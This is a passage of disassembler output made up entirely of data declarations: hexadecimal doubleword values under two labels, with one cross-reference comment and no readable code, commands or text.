0FF678C2h, 76BCF84Bh, 0AAE752DEh, 0D971B99Dh, 3FB67482h dd 25C315D4h, 5758628Fh, 43E7017Fh, 66207788h, 0C7FC0340h dd 0B69EE99Dh, 2AFF405Ah, 2D4648FAh, 572E0BA3h, 0C801828Eh dd 3B79A768h, 130BED9h, 5BA160EAh, 0A62F20F6h, 0CE017B76h dd 292740Fh, 1835CBE9h, 0C0F7C1C9h, 4AB91012h, 0D3FAE27Dh dd 0EC2F132Dh, 0E368B0DFh, 1A24B714h, 0DDBDC810h, 7B4727h dd 0BC39519Bh, 630CCF41h, 0E680458Bh, 0E7E87BF7h, 0B809AD24h dd 6E76B109h, 0F684E145h, 0E253C368h, 50661E05h, 30EF1896h dd 0E9ABB2ABh, 149BB330h, 264BFCBAh, 11F3812h, 736976D3h dd 808D629h, 0B81E5326h, 11426744h, 2ED69882h, 0F6C5A0CFh dd 6836D057h, 5BB7695Ah, 19050394h, 0D1CB6E27h, 0B80780FDh dd 9DB05D16h, 506BA549h, 0D926BC42h, 0DA272691h, 50F79491h dd 0E8B53564h, 9F01B19Dh, 0A688C75Bh, 254C2DC5h, 0B0675959h dd 971DB868h, 0F2C4EE19h, 0FEEDD102h, 0FF9288FEh, 78106804h dd 346436BEh, 0B140800Bh, 0C541545Fh, 0E90C04F3h, 3A17A1DFh dd 7E503505h, 0B9CDF901h, 17FBA70h, 9F0E6936h, 52A07A27h dd 7BE92A5Ah, 37A381F5h, 954F9CC4h, 48CA3DE0h, 4C8D3803h dd 2C280E9h, 439D2D26h, 0D55E3CB6h, 9198ED09h, 67F18850h dd 0B50C0EE8h, 4F605A4h, 8D122891h, 32927A49h, 0F94898Fh dd 42AD7200h, 0A3586BD5h, 51680A04h, 823C8D3Bh, 4E6DF0B0h dd 6CA9C156h, 0DF216600h, 0F3EB5BE6h, 9510BEB8h, 4FCBFA9Dh dd 0C75AB08Ah, 0AEB941E9h, 0CD646BDEh, 51033ED0h, 8C294897h dd 0BC4D6A04h, 33EF847h, 0A07880CFh, 0A980042Ch, 0BE583BE9h dd 54BB62A0h, 24B8879Dh, 2D667A86h, 2D7A10D0h, 709D667Bh dd 9E0478B4h, 82409F19h, 5AC21F7h, 53B17640h, 15BB219h dd 0C42F11F8h, 0F12EFDBDh, 2902055Fh, 0FE2DE275h, 58932Ah dd 0AF5FCC79h, 0D15CF735h, 640E2E56h, 3C75BE81h, 866A47E5h dd 13A206BDh, 552B0B0Fh, 0C8567D09h, 20127DA7h, 2050A9FCh dd 3C9BBAE0h, 9D1CC009h, 1C532D3Ah, 83A35B92h, 0BC25AB48h dd 5FCB7C7Ch, 0C229D0C8h, 7FE93EBFh, 0E925CE0Ch, 6805BCC8h dd 0DCA3327Ah, 5C28F904h, 0AFB149h, 0AE1EBFDEh, 0D6096013h dd 0D348BDE6h, 193613h, 0B3F3EE58h, 65950E78h, 0D19E8C1Ch dd 517F8A9h, 0E71D64ABh, 814C5B42h, 8D485D30h, 1B2742E9h dd 681BF201h, 3AE4FCCh, 67262FD6h, 0D7029A28h, 0A024760Ch dd 48E1AE01h, 0A6020B08h, 317A2034h, 5546E955h, 0ABC032E4h dd 0E7D205DDh, 0AB6B0B10h, 3D622908h, 61DBE8Fh, 1F86BA53h dd 7C9FED05h, 7A16813Bh dd 243CC1E9h, 9567ECDAh, 0DE0E5E06h, 0A260C41Dh, 28E6D6A3h dd 75E37DB5h, 8DE917C3h, 4461BAD2h, 1E62B7CFh, 2DCC6882h dd 1B628074h, 0CE2477F8h, 774FEF08h, 40C5A4DFh, 0E6590012h dd 60F42D0Ah, 7EFA8DA0h, 831AF02Ah, 38027BA1h, 275E8FDDh dd 1208B3F9h, 5A3A3354h, 2EB1F2E9h, 0F01337CAh, 7526FD14h dd 4B4C675Ch, 208D182h, 2D0036B6h, 7A702EDFh, 16A24B5Fh dd 0EEF9620Fh, 0C1208E5Ah, 439AF5h, 6FD04803h, 149CB81h dd 0C1191098h, 674806E3h, 10148E51h, 27FB0B8Bh, 5E7B21FCh dd 962CA0Eh, 477E3068h, 0EEFE169Dh, 0D7E9EC30h, 0D858819Ah dd 75C40EE3h, 0DE3751DFh, 4208C5EAh, 88518D8Fh, 591B6804h dd 4F012AAEh, 93844534h, 0E8C0E7D1h, 0F4A0B660h, 0A8C15F73h dd 19BCD378h, 0A4E8A892h, 0CBC20A82h, 9EC884E3h, 0B787B058h dd 0D5523259h, 49F5D8C8h, 9658B338h, 0FCB30168h, 10115124h dd 0DE4B9D29h, 700E8934h, 0FAF30635h, 66495962h, 0FE156F09h dd 67C8DD7Dh, 0D89740B4h, 0E16DFE81h, 0A747E83Bh, 14AE3h dd 288EB1BCh, 0C1805BD9h, 0FBF2885Bh, 10AA022Ch, 17B65808h dd 0FB2D36AAh, 5D0F2C7Bh, 9B9FD40h, 51D71AB5h, 2F411C80h dd 0CC74C8Ah, 37E75456h, 4525B9B2h, 7F652786h, 7CA7879Eh dd 0CF5FD2ECh, 685089F3h, 0B0D3C15Ch, 30361AEAh, 0C3634C8h dd 494C9A02h, 0B6E24FFAh, 747E04DFh, 8B0AC060h, 1D12D561h dd 9EB087E9h, 0C1C24A89h, 10796490h, 2FF55EC7h, 2D83CCEh dd 37DE0126h, 0C2C48217h, 621274AEh, 0AB605566h, 281351A1h dd 80FE8906h, 0D030FFECh, 0DAE93C12h, 4AE46C4h, 0BA173DFEh dd 0D1588BDBh, 0B23BE120h, 0DAF498C4h, 7AEC6ABh, 29DB0DF0h dd 0F912D4F7h, 83D14BC3h, 83056219h, 662020Ah, 1136416h dd 23196B68h, 3D4814h, 61D65585h, 0B5B133E9h, 35A1AFE4h dd 0AEB32A1Ah, 0E6685E06h, 152AA509h, 0C9178F10h, 0B88734F9h dd 1DE424C0h, 0B57AEAE7h, 59F600A0h, 50B55777h, 0A992C416h dd 4930AA83h, 76241A8Dh, 2AC1010Dh, 689CC605h, 406B2646h dd 6F406BDBh, 0B353165Bh, 632F0A82h, 0B6F22F99h, 59985C9Dh dd 88687B0Ch, 0ED1E30E9h, 7C62C317h, 5825F717h, 4EB4A001h dd 132076FBh, 98D0B88Dh, 0BE322D1Fh, 21F75792h, 18B76884h dd 94565395h, 8D814A7Ah, 0CC4DE032h, 0E9A3C50Bh, 5E7DE137h dd 50A06C3Ch, 34D16E9h, 7FD02E11h, 80718025h, 7A2841EAh dd 7A1C34E2h, 8416BBF7h, 4550EAFCh, 0B899FADh, 54582170h dd 8D082652h, 93E8BFBCh, 34BE51ECh, 0F52BE8AFh, 68B0FBB8h dd 519D0ED8h, 49BAC956h, 5C327D4h, 68820ACEh, 81205DA7h dd 1721FBB9h, 0D6062041h, 5EA27E17h, 9A83F4D0h, 0E9EF1F52h dd 187FAD85h, 0C01F9240h, 68555648h, 7A273FBEh, 3551400Ah dd 4EF8025Ch, 60C2E94Dh, 0DD52DEFEh, 0F82DE678h, 0A641DB0Ah dd 376702F5h, 0E7E0104Eh, 0B12DC89Bh, 0B05650EFh, 5514098Bh dd 0CC006EF2h, 66CE1739h, 0F4140997h, 0C9C6E0D5h, 0EEB89EA1h dd 65EF134h, 0C0F61A83h, 4813CB2h, 0AB3FD3E2h, 0A972C14Dh dd 4039ED33h, 862A2CC4h, 5AE6148h, 64CA2E4Fh, 841DAB9h dd 0BF3BD9F4h, 0F695F8C6h, 0CFE6E9B9h, 0DB83E93Ch, 4D024791h dd 0A3B417Fh, 0ED779E7Ch, 124E7C31h, 4BFCC288h, 4A8C9A75h dd 686702E5h, 0E3991A58h, 0EC046B54h, 0BA00C7FBh, 3085563Bh dd 2893D4C0h, 5FE978DFh, 0AAC784E1h, 0B404C2E6h, 0EE79F518h dd 5D423A22h, 59CB21C8h, 2DDA293Dh, 80D280BFh, 69F621EDh dd 395614DDh, 77D56884h, 6FD0CAABh, 278DC150h, 0FD3F2FFBh dd 0BEE24E73h, 7E062430h, 281DA62Ch, 591704C8h, 1E8F9FECh dd 0BC4E42E5h, 3F0DC44Fh, 13C4570Fh, 69D53Eh, 0F5355800h dd 8E1E48A8h, 4324C589h, 871D2790h, 10D6C9FBh, 6562755Eh dd 0BF57000Bh, 31631E0h, 4BAE8926h, 87D151D1h, 56ABD793h dd 609FAEEh, 64268997h, 9068057Ah, 0BE6C176Dh, 70B07C7h dd 0B0C05754h, 0D662653Dh, 31ABE56h, 4D764008h, 9D9A16C2h dd 1043E889h, 7770073Eh, 0B9712CF1h, 30934143h, 27B2328Fh dd 1D7D6958h, 40E62B25h, 247C066Fh, 18371080h, 79F13D90h dd 28610212h, 5DA8F502h, 6F00DF4Dh, 582252C2h, 775B48EAh dd 0BDCB8198h, 0F1105A98h, 2FF5682h, 0DF3628EAh, 0A3F2B9E0h dd 7D779C12h, 4AE3D0FBh, 555B7459h, 2CC305ABh, 5438318h dd 5A881E07h, 0CEF07FFDh, 0BF355603h, 168AD302h, 0A41682FFh dd 622FDC60h, 34DFD906h, 0CB6815ACh, 0BA021810h, 296D0BA5h dd 0F45FB6C0h, 0F0D69225h, 717A9542h, 611FFE2Eh, 66F18C0h dd 4DAF807Bh, 0D92AF625h, 50CB36Eh, 0EAE506E3h, 3F038544h dd 550E28EFh, 289D1AC8h, 0D00120CDh, 7440500h, 5C2D513Ch dd 6D2C2618h, 27CC0278h, 9A571580h, 5CBD0E8h, 0A3ECD7F5h dd 5518FAD2h, 43EAD2Eh, 0E3E971AEh, 206FF930h, 83BC0905h dd 82D777A0h, 7FCFB22Bh, 888099EEh, 4AE22DEAh, 6A40BA01h dd 0DA314491h, 174CE67Fh, 0FCB36929h, 0DDBBF503h, 8406EA30h dd 758418FCh, 58CD58A7h, 0C260573Dh, 5BCBA93Bh, 0F6EA2925h dd 0E902CFBBh, 816894BDh, 0AD1E6105h, 59C9A05Bh, 0A54C5967h dd 5A382D54h, 0EC10FC31h, 1349CEA4h, 1FFE80FEh, 45973D09h dd 0EDCC2FCAh, 0BF948854h, 0B461700Fh, 98694F79h, 17C0B814h dd 0E32455Eh, 0E7A39C43h, 85B7013Fh, 58080BEBh, 1100F509h dd 25D57972h, 5FFB0912h, 0CF783DC0h, 0AA7A8042h, 5C2A5725h dd 2BFE259Fh, 5421FFE4h, 96CB38BBh, 50ABAA03h, 0D8F688B0h dd 3A8290C0h, 0E0829E2Ch, 249DE907h, 14200D72h, 0D2F70172h dd 0EBC1D387h, 237DF202h, 0B939B0C4h, 0E234F917h, 7F96A2C6h dd 27DEDA2Eh, 4EC4EFFAh, 4DA3674Dh, 1E20A948h, 33F18024h dd 4AD9A00Dh, 46A1CB05h, 2ADFF56Ah, 0D9B61E00h, 738EEE80h dd 40776C0h, 94E960F6h, 34B9016Ch, 4B21A645h, 0CE45C22Fh dd 919850ECh, 2C00444Ch, 7D03AF71h, 0F6DDC2Ch, 0B30C300Ch dd 8177410Bh, 7A27BB7Fh, 4985C530h, 455F24A5h, 0F2D6EDBFh dd 0C48F5011h, 0B7EF39Fh, 0F3DB35A0h, 0F148D489h, 2AACCD84h dd 0EFC54BA8h, 0A4AA56E0h, 0AD092DD4h, 517D980Ch, 0A4579747h dd 0F159356Ch, 359F8E36h, 0E6E25B08h, 12BA4C10h, 0FFE8D889h dd 0AB24345Bh, 444A06A7h, 1245A716h, 22188BCh, 959814A5h dd 3663215Ch, 0E6AA843Ch, 50994CE1h, 393F9417h, 78013B52h dd 3008C651h dword_4F0044 dd 0CC70D57Ah, 80D2DEB7h, 0E7E58108h, 470BDE70h, 0DC361668h ; DATA XREF: ___:00437A5Co dd 4EEA60BBh, 149D132Ah, 0A870BD35h, 0C50C2890h, 70702235h dd 12215A5Dh, 0BD85C89Ah, 0B1047A09h, 2AE70414h, 5213C910h dd 0A5C7ECB9h, 0D5F74E82h, 0EA5BE905h, 76C8E661h, 1038CA06h dd 665B70CFh, 68E1B8BCh, 4379DEB6h, 8E80569Eh, 5E0CEB4Bh dd 428FA8D1h, 64580F9Fh, 0D37CF189h, 8FFCA4CAh, 63A2564Bh dd 55044077h, 133BB941h, 0F0B6B8E8h, 56D168FDh, 0BD04A644h dd 4B7E7860h, 49217F56h, 68C779F8h, 611370C3h, 6001273Fh dd 7290156Bh, 806502Eh, 0EC11E913h, 0D192D60Eh, 5E17D8CEh dd 5831AA28h, 0F7EA7AB7h, 3854CD41h, 0F021127Fh, 2B6CB88Dh dd 7E5F417Eh, 53679817h, 90BC34F2h, 0F0E79D8h, 0DE316ED1h dd 12C40CA4h, 4477B202h, 80636092h, 82119C1Ch, 0C7C21AFh dd 0DE4B2B71h, 0F1BD007Ch, 115201Fh, 0B40AFD58h, 77953BCh dd 533246C2h, 68552010h, 764C4474h, 31C1102Ah, 93D0662Dh dd 0CF80220Eh, 7BEF6533h, 0BAC785FEh, 122BE49Dh, 5AC69E21h dd 8F8485E2h, 4A0DECC0h, 51280EA5h, 380ED14Fh, 0E80F0441h dd 1AE4E4DEh, 2120CDEAh, 1789736Bh, 5355036h, 3BB9A900h dd 7457D2Fh, 3A7CBE56h, 37E99188h, 13292624h, 948C5EADh dd 0D03A16B0h, 4EB1E327h, 0E93538AEh, 5CBCDF2Fh, 2CE1E9B3h dd 8850507Ch, 0DEE652D3h, 6AB7F0EAh, 89F0852Ch, 0EB835391h dd 7EA7C2D3h, 63F281CDh, 6AD372F3h, 9CBD8B00h, 2F9021A9h dd 0BB8F51E9h, 77FB2878h, 0C2C2D37h, 1BDA1581h, 1ADF9C40h dd 0A94A4E0Ch, 1DBF5A64h, 52C0C0A1h, 0CA012CC7h, 2B02A7A1h dd 2E1194Bh, 0AC4C81h, 1509790Dh, 35484E00h, 2CAD1195h dd 1C54B729h, 9E0A662Dh, 0E1E9508Ah, 5F58E864h, 12F48FCh dd 0D0809896h, 0C8054FCCh, 0BF77E90Fh, 0E52B8DAAh, 0A271C6CBh dd 1DA6133Ch, 0F240D4E5h, 4B589798h, 5141BE79h, 6BE37B0Ah dd 0CC03FA9Ch, 0B4F807E1h, 5EC35F08h, 72C28B31h, 0FD62F456h dd 0AFBD0F26h, 79BD2878h, 0C168448h, 0CCCFF01h, 0AAB65BF1h dd 28EA2124h, 0E44FDD8Dh, 54F162D7h, 4001AE8h, 40090F3Bh dd 1036B1E9h, 275A7375h, 4D205B07h, 286D193Dh, 72267D91h dd 769F0A20h, 0C126ACB6h, 7A096A68h, 1EBF5F30h, 0CC6E5F23h dd 0ABD26ECh, 9226CD25h, 4ABCE970h, 35AD602Ah, 745E1AC8h dd 374B390Eh, 9552B216h, 9CCCC0EEh, 41761321h, 897C700h dd 0E95B6D15h, 43AB23Bh, 0AE524FB9h, 4F09FE77h, 74E2309Eh dd 61D5827Ah, 94DC3BA4h, 495EB564h, 0C3DE9F54h, 80F2098Bh dd 0F11AC2A5h, 2D07695h, 0A72A74C5h, 0E2772947h, 0E90807D7h dd 0BC43D1EBh, 0FF1A3013h, 9F7CB276h, 0D3170D67h, 0E9827BADh dd 0C8C519B0h, 4428942Ch, 0C4076C58h, 0C1EAB5h, 258BD5A9h dd 0BB5259CBh, 2A696D45h, 0AAD00113h, 343F7AD9h, 1320F696h dd 0BDECFBE9h, 0C90E5E24h, 5443BE76h, 0A028125Bh, 0C9E9AD9Fh dd 0D99E7657h, 7B842A5Ch, 0C91731AFh, 0C6EE0746h, 1F0CA2C2h dd 172DCABEh, 312EB4Eh, 310716BDh, 64B1B9D2h, 0D5D4AEC1h dd 1EE9FD80h, 909B2BDh, 77E72548h, 7587895Dh, 37090F96h dd 74341F72h, 2EE90E7Bh, 4660AA97h, 9944BC68h, 0EF5692ECh dd 5C02FB8Ah, 551B3923h, 2BECC0F8h, 5E67C81Ah, 0E90702ACh dd 2D83E8EEh, 0A9221D34h, 75DF434Eh, 0A1F9069Dh, 0A6403A63h dd 0DD124BE3h, 35B74BAh, 0EAC1375Fh, 0FF9A8302h, 4A3F97Dh dd 0C04ADAF7h, 435ED97Eh, 0DDA04D4Bh, 99292550h, 0B11E8275h dd 0CB7E69F3h, 99ACB3DCh, 89750216h, 6EF780A6h, 47AD8030h dd 58FC272Fh, 80FDE4Ah, 0F28D893Dh, 9F8BB274h, 62BF5E02h dd 8531C56h, 0F758540Fh, 60384A01h, 0D33C19B9h, 41A4683Bh dd 2E06C3DFh, 59739D76h, 0FCBC4995h, 5B89234h, 13855E5Dh dd 0B1B74350h, 59C37652h, 784F1C2h, 3D22FF58h, 53500C01h dd 99BBF80h, 293BBD35h, 460BB1F5h, 4769A49Dh, 0F02114C1h dd 16E0E95Fh, 76E979BEh, 25F9C001h, 4090011Fh, 7324EAB5h dd 0C5B70017h, 305BFA88h, 0D8D1D04Ah, 322FC868h, 44354F7h dd 0F90B1C9Ch, 1B525466h, 0ECAD0650h, 0C40810F7h, 688B313Bh dd 3844343Dh, 0A72B5B97h, 0E91D24FBh, 2FAACC15h, 40EF6668h dd 0B8755096h, 67B11014h, 126081B0h, 0C6290311h, 2D774A10h dd 78B34059h, 0A0B46450h, 0AF3394D5h, 59E91668h, 112CCDAh dd 6C65CAF5h, 9B2B6429h, 8E4108A8h, 43442501h, 0DDD439C1h dd 52A3F4Ah, 2F803298h, 0C5B75BD8h, 0FF4097ADh, 8AEED612h dd 525180BCh, 26640E68h, 16CD6AF4h, 0AB5304DAh, 7FA1FBAh dd 3B0C7F18h, 7F68AB69h, 115F8026h, 4628F69Dh, 0B2B01A29h dd 1007E23Bh, 9C055B35h, 0D4D2A39h, 3B2B169Ch, 74EA1601h dd 0D0207BFDh, 487AF66Fh, 0A4076E3Dh, 6071F478h, 9F3CACE1h dd 102D00BDh, 0C1324F02h, 1F47DE0Ch, 8F056597h, 0C6BCC376h dd 90C4882h, 6B623334h, 801CDEAh, 4D436468h, 1B8CE2BAh dd 0A00AEB44h, 5253E01Bh, 0F7920820h, 77250398h, 0C0687ECAh dd 3A71E69h, 22FF1ECBh, 450C33CBh, 0ECFA22A2h, 0F7C983BCh dd 0DAAC6B30h, 0DFF6050Bh, 0E905ADDCh, 28BB10E2h, 774A0BC2h dd 0BDC0AFF8h, 3A750A3Fh, 5336BE04h, 89E1E82Dh, 0E99EC87Eh dd 5E7A06D5h, 0E9AB6CAFh, 5E76384Dh, 743032AAh, 875E58C8h dd 0CA81F201h, 0B1420A2h, 6E0D0C84h, 7663C173h, 72BE3252h dd 0E5BDD94Ah, 860E497Dh, 48F5F09h, 60563A5Dh, 964FCDECh dd 86C05285h, 0F7806344h, 0AFA9D6D0h, 7E22FCC9h, 82952E50h dd 0AD0073F7h, 9A95CF64h, 85CA9680h, 50FC2D90h, 2E2D1E89h dd 0B31022CAh, 0E3956135h, 1F0C104h, 2E6D365Dh, 0D4D2BF5Bh dd 73F55A9Fh, 5AEA80D2h, 155D41Dh, 495CA51h, 0E590A908h dd 6A8340BAh, 2550FA11h, 1D403303h, 14010555h, 0A5E8D125h dd 7FE90461h, 6CFF6473h, 0F6E93541h, 0EEA2136Ah, 4BF30CC1h dd 0B509FEF8h, 0D0401EC3h, 7D02D49Fh, 0C8E9DA01h, 0BEBFAADh dd 303259D9h, 925AFD6h, 8BDD6F6h, 0DE2716D4h, 9C57A5AAh dd 77667442h, 0FADEBD2Ch, 11634BE3h, 7B2446AFh, 86E62149h dd 5E1B0315h, 35C50085h, 28AC0B55h, 29560D05h, 0A4EE5765h dd 9EC79693h, 0C626F031h, 0F8FB8308h, 5D00E2Dh, 0CE68A01Ah dd 9F9A32Bh, 0AAC375DDh, 77A52CB7h, 0B07E2F98h, 7902D882h dd 0AF465443h, 323700BEh, 0CE813F90h, 675C2123h, 0D4C603B5h dd 0CDB60143h, 0D21464D1h, 0D706F62Dh, 2870E259h, 93DD1609h dd 5EF007EEh, 4B1EF919h, 0CA85ADA2h, 0DC20500h, 0E8224A38h dd 0FF4B774Eh, 1F60E226h, 9CC066A3h, 5956654Eh, 44CF0E4Bh dd 0C4C0CB59h, 0B3CF9EEh, 9AE9C535h, 31C72FAFh, 8D126CAh dd 9E7865B5h, 351F4942h, 0E2D58357h, 0F4930E22h, 0ABF79C7Dh dd 5F074210h, 0D0BD1C49h, 6041B998h, 1A6C4262h, 0EC64CBFh dd 7E215B67h, 0DA82C54Bh, 405CEF1Ch, 9B12E069h, 0A554B77Eh dd 271CF284h, 82C2FBD2h, 0EA6EE907h, 0B7E0F76Ch, 36F4A8F5h dd 7DC6BBD9h, 0B66E123Eh, 0FCF47CC5h, 0C5F8D782h, 0E6E43927h dd 0EC682F83h, 0F2711855h, 46D9A0Eh, 1C9805D8h, 0BE0880F1h dd 1402444Eh, 0E9F0096Fh, 178256B0h, 0C42FB2ACh, 0BD005CD3h dd 58073A17h, 5A7C7C95h, 0B7520277h, 0F7094Ch, 6616DBB5h dd 69817D72h, 72C80DD7h, 2AC0913Bh, 8853CEFEh, 1D58BFF7h dd 0E8EB8F2Dh, 73A6C624h dword_4F0844 dd 0E4E44ADCh, 0E979EFC1h, 0D5E9899Dh, 684539CCh, 3B09F1h dd 59ADCBC3h, 749F4BAAh, 2D154A57h, 26B184CBh, 7816AFC2h dd 90641E16h, 0F1A6D72Ah, 0B89830C7h, 0FB60CFE6h, 0F8888B0Ch dd 0C130095Bh, 24405866h, 0E69DAF68h, 5F635EBDh, 0AF519903h dd 387CF157h, 562598Bh, 686E0CB6h, 0C9785690h, 0CE18C108h dd 70105A29h, 3E144A6Eh, 5A73330h, 2512070Ch, 0C1BAA157h dd 24C9F2EEh, 0D219CD67h, 47D63D1Ah, 0EA4E0239h, 0B34FB02Bh dd 0CABA252Fh, 67DC001Ah, 2E402C15h, 309D101h, 2F377CE8h dd 3A3F8DE9h, 0B053B635h, 3F163DEAh, 0CE2756A8h, 0FD316582h dd 81801959h, 49176AF5h, 478DC1Bh, 824A3B62h, 0E1DEDA09h dd 8E805751h, 249362CEh, 510BF7BFh, 0FC313365h, 360B3C03h dd 857FD36Fh, 0D061BFD8h, 510279B7h, 8B69F15Dh, 22D75FF9h dd 0F742AD72h, 8030BACDh, 0A290E68h, 2E96AC8h, 0A560AFEDh dd 0F6399DB6h, 80D604DEh, 73817FE6h, 3A3CC5E9h, 0B89AB313h dd 0E8D01F27h, 208C093h, 15BA02FDh, 0A6619868h, 21326403h dd 0EFA8B3BFh, 0A5B28F84h, 800F5E78h, 0D058B2BFh, 0EA80E20Bh dd 329BFEB8h, 724AC6F0h, 76E39A00h, 81243363h, 86678AC5h dd 0B56820CBh, 7B07D243h, 8B5F50h, 0A1685649h, 2F278765h dd 69455E5Eh, 0FC066078h, 77E9151Eh, 9CC89555h, 3580F864h dd 2510E025h, 5054898Ch, 28B67108h, 7DCA0B5Ch, 37D65517h dd 612173Fh, 58A6275Dh, 8B39FC00h, 0B0F129F3h, 0F72D2D5Fh dd 0FD08FBDAh, 2ED93C3h, 5B021101h, 30D15957h, 0D079B818h dd 0E1D1361Dh, 0D58D89CCh, 40682453h, 251763h, 38D4CBABh dd 0D4950BD2h, 77378027h, 0DE890CC6h, 64B1E913h, 871835F9h dd 423134FBh, 8FF0684Fh, 7BEE32B3h, 217CEB9Ah, 6F910CB0h dd 29351ACBh, 80156C3h, 81ECC6E9h, 71F2F3CDh, 0EFEC65A2h dd 0A87BE12Eh, 0AC7CF1DEh, 60FA0500h, 0C926C02Ch, 0ED5FED10h dd 2B70718Dh, 35626C86h, 77121AF6h, 250C23EFh, 0F13116B8h dd 0C70AA22Ah, 747287C2h, 1E4A5778h, 0C966080Bh, 0F0047E9Fh dd 32BF2F0Eh, 76CC0B7Bh, 29D8A519h, 45ABDA4Ah, 0D13DCDD5h dd 137FC9C6h, 593B0CCBh, 8934EB83h, 0B6251492h, 0FAADC45h dd 0DACE805Ah, 6716C30Bh, 0D0C5B125h, 0E07B983Ch, 9BBE9CCBh dd 2EE73267h, 48BE68A2h, 0B037A5C6h, 0A7924F9h, 930D8BEFh dd 727EAAF0h, 0F2D655BFh, 4EE55DC5h, 0B574EC2Eh, 0C045213h dd 3815AF16h, 6A3213h, 35E5CBBEh, 0E91C7074h, 5F2D28BBh dd 5C2F3415h, 695E0811h, 0B303942Ch, 0E5DC3011h, 812EFEB0h dd 6812E968h, 23AAC0E3h, 3B81293Dh, 583149F1h, 7CC610ECh dd 0AB5F8900h, 51817D41h, 0AD5AE902h, 68EF4821h, 0AA4D5CE3h dd 0A35150C7h, 17D93BFFh, 49096A59h, 0A8000041h, 37E807D7h dd 5E1AC889h, 0F47EDEFFh, 0FD361240h, 0BC4215EFh, 445DD882h dd 11B7540h, 1AE18159h, 821E3C76h, 9B0DEE60h, 0C7EB0E96h dd 0A97DF529h, 0D30602A8h, 10D709A4h, 763186A7h, 6020FC04h dd 94B81CE1h, 7FF5FE01h, 240E6E0h, 73632D48h, 525CA61Dh dd 0F6E68B2Fh, 38751E1Eh, 0E2E79D70h, 0C7DAAB0Ch, 2DDEBCFAh dd 6AA33A2h, 2B7C15E2h, 0D8585502h, 28527628h, 70865E8Fh dd 53C78179h, 409E6E09h, 6F885729h, 0BFC2408h, 0CBF1A244h dd 4081FD49h, 7BC056B3h, 5E105EA0h, 571BDC39h, 5C445791h dd 0BEF50DB8h, 688223B3h, 64623D1h, 2A2C545Ah, 0EC9A4A4Eh dd 0AEB99F08h, 1413DDB7h, 0A4A481EFh, 24228399h, 95D0F62Bh dd 3ACBC1FEh, 2C837020h, 24E0E548h, 0A2097E58h, 40705422h dd 0C002B151h, 606E132h, 16A90808h, 0B8AF4AD4h, 8E068D4h dd 0BA000C22h, 36D742CDh, 0C0D15929h, 2824A893h, 36A010C1h dd 572D74BCh, 0CAFB7407h, 439B2376h, 8F925466h, 0E361B80Ch dd 0D1AE882Bh, 4C5B4E40h, 25022C52h, 8948261Ch, 2AD53549h dd 0E9B02FB8h, 0AC7B832h, 7421CE88h, 1F770187h, 0E9B1B516h dd 5A8802FDh, 615652DBh, 0A72AC433h, 0A7277B88h, 5B35A75Fh dd 0D90CAC63h, 0F62F4A2Bh, 144412F7h, 0FA8765FBh, 16D3D798h dd 126F531Dh, 0F0A3E47Ah, 13087F0Fh, 0AA5D6A29h, 7AD4F85h dd 21090E9h, 0DD8D4EF6h, 0F705833Bh, 10A5B89Dh, 5E2D3FFEh dd 1708D307h, 0EB35C27Fh, 0BEE8EFDEh, 5573A3A8h, 6A731D2Ch dd 9F19E103h, 650C0170h, 31EED2ECh, 85D0C9C2h, 8690E908h dd 15A119B8h, 0FA82EBEh, 1D932586h, 0E04D000h, 305AA72Ch dd 525300C3h, 0FA560C68h, 0E64BE918h, 9F72EB4h, 483A29B8h dd 303DE000h, 3AF34BA7h, 16A6F3F8h, 0CC90507h, 765B0A1Eh dd 0E95F82A8h, 0C0D94EC1h, 0B41F99BCh, 67FC5964h, 4FEC9196h dd 80D8FB6Bh, 68291790h, 2FBFB5B0h, 89D7350h, 552DD819h dd 0E6BF2216h, 6C68178Fh, 6347CC01h, 0C6D16997h, 83EEB66Fh dd 85DFCFE9h, 28A6F7AEh, 34996B59h, 0F22D132Ch, 0E5E795B3h dd 8FE95285h, 44B41CD0h, 0ACDC4EF6h, 0E4737382h, 48C48024h dd 0E6906909h, 0A6EC042Ch, 0F831E157h, 0ABCA2410h, 8430B516h dd 0B7746859h, 6AF0FC46h, 4918FABFh, 0B84C5AC7h, 203AA10h dd 35512CBBh, 0A11FF019h, 0D17E4986h, 27F0A3Dh, 0AEF2D75Ch dd 98694BF6h, 0CB645CC9h, 52FA41DEh, 0BF56970Bh, 0DBBA5B12h dd 68500034h, 2E2A43B4h, 0E1187FE9h, 0A46FAC3Bh, 7E822C04h dd 28C8AC52h, 197FD805h, 0E912860Ah, 772FE3F3h, 1BE1B4B3h dd 850C5782h, 2E66E131h, 2D4B2AE3h, 4AF96B24h, 2144FB4Ah dd 4D09A6FBh, 400028Bh, 0E1551043h, 19315924h, 2FA72D02h dd 0E8CFC0FEh, 0DAA4C156h, 70629025h, 0A027D72h, 4E93A6Eh dd 0DEBB00BDh, 54CFC536h, 90DD89DBh, 9DF329C2h, 0B9F72EB3h dd 0B046A7Eh, 4EF09C54h, 0D23FFB97h, 0E68107D1h, 688E6803h dd 25E93A69h, 2571E621h, 0D2186FE8h, 11DB52DCh, 0C7EADAC2h dd 40490B99h, 709DFC5h, 3463F1CFh, 0C5BA0606h, 0E84F175Fh dd 73106EC0h, 32F54835h, 9C8B6469h, 6412A27Dh, 0EE800137h dd 0B1043BD5h, 5184F908h, 8F3FEDA1h, 0B277556h, 527BA26Ah dd 3D02FBE0h, 2F97741Ch, 0D2F8A46Eh, 5EBD53BAh, 7EC219E1h dd 81CADBFFh, 0F59482F7h, 82949A16h, 0D16BCB58h, 41779CDDh dd 46E93F5Ch, 0C2AB8FB2h, 7E5A2271h, 0F179DF5Bh, 9B2F3489h dd 3B80F52Eh, 0ED665E70h, 0E2469940h, 0C3E92E0Ah, 0F4808760h dd 0B3EC3336h, 2084BBB7h, 514A912Dh, 0F9352B54h, 3B7EDF80h dd 0FC164ED7h, 0F6810137h, 2C1D0D1Ch, 0C9990C82h, 0CA5FC535h dd 0BD167F6Ah, 0B00C8727h, 25351CCh, 57B17BB7h, 7FEF930h dd 70E1B10h, 8E86C9FEh, 3998FDFAh, 1744091Dh, 4934E380h dd 7DE9150Ah, 0FB569742h, 0A3C0D55Ah, 0F77E534Bh, 4AA82BFDh dd 0BCF360A7h, 7758B7F1h, 16CB747Fh, 0F43B52BEh, 0AA0097B6h dd 7A4B2D66h, 231647DFh, 0F8C35490h, 4FF60C71h, 9C52EBD1h dd 757D1D09h, 0B066F501h, 47990BB0h, 5713BC09h, 0EC82DA18h dd 0F7F5919Dh, 1EFCD1E7h, 4B682481h, 60391B35h, 0D65AB072h dd 68C25BEDh, 18555C2Bh, 21C2083h, 0EFD16CC3h, 11E0D7F7h dd 0ED0049BEh, 9CA810Ah, 0EC451858h, 